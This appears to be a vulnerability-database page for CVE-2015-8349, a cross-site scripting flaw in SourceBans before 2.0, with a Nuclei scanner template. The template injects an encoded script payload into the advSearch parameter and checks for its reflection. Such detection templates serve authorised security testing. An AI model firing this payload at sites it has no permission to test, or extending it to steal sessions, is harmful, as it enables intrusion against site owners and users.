CVE-2015-8349: SourceBans <2.0 - Cross-Site Scripting

2025-08-01 SourceBans PoC Public

Description

SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.

PoC

id: CVE-2015-8349

info:
  name: SourceBans <2.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: SourceBans before 2.0 contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of SourceBans that is 2.0 or above, which includes a fix for this vulnerability.
  reference:
    - https://www.htbridge.com/advisory/HTB23273
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8349
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-8349
    cwe-id: CWE-79
    epss-score: 0.03263
    epss-percentile: 0.87751
    cpe: cpe:2.3:a:gameconnect:sourcebans:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gameconnect
    product: sourcebans
  tags: cve2015,cve,xss,sourcebans,gameconnect,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?p=banlist&advSearch=0%27%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&advType=btype"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/

      - type: status
        status:
          - 200
# digest: 4a0a004730450220593b1482c746e49159a1e041d61fae8241ee61e18331a46cb656a1cab267f0a0022100d573a4b473d453846cbf88595b17ed7f55fafa9514ef962e144b6e4cf1e2eb26:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities